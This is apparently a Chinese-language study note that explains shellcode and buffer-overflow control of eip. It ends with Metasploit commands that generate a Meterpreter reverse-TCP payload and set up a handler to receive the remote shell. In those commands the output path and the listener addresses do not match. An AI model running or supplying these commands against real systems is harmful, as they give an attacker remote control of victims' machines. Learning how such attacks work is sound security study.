ShellCode漏洞
可以查看如下网址:
https://www.cnblogs.com/kakadewo/p/12996878.html
定义:
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制之机械码,以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 在寄存器eip溢出后,加入一段可让CPU执行的shellcode机械码,让电脑可以执行攻击者的任意指令。
ShellCode:
1、所谓ShellCode就是一段硬编码的数据
2、硬编码就是在编程之初就将数据设定好的一种方式
3、这段硬编码的数据执行之后具有具体功能
4、界定一个代码段是不是ShellCode,最重要的就是这段代码段出现的位置以及出现的时机。
5、任意一段代码段都有可能成为ShellCode
ShellCode的执行:
ShellCode一般和漏洞利用紧紧的联系在一起,可能会只有这样的疑问,即使Shell Code是一段代码段,那么Shell Code怎么执行呢?这个就要说到漏洞利用了,就拿最简单的缓冲区溢出来说,(前边也有相应的博客来介绍二进制漏洞),在发生溢出之后,程序的eip已经发生改变,而eip是下一条指令执行的地址,因此,我们可以利用缓冲区溢出的原理来控制eip,获取对于程序的控制权限,这个时候我们可以将eip设置为我们的ShellCode的地址,将eip指向ShellCode的地址之后,成功获取程序的控制权,之歌时候就可以利用Shell Code来执行我们想要的操作。
以下是自己的理解:
看了很多资料,了解到了ShellCode其实就是一串可以被执行的代码,而这段代码又是我们特意反弹shell的,所以一般这种漏洞都和缓冲区溢出漏洞去配合着使用
如何利用
通过msf进行利用ShellCode漏洞
利用msf生成ShellCode的代码病毒
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.245.153 LPORT=4444 -f raw > /root
use exploit/multi/handler 载入multi/handler模块
set payload windows/meterpreter/reverse_tcp 设置payload
set LHOST 192.168.92.129
set LPORT 4444
run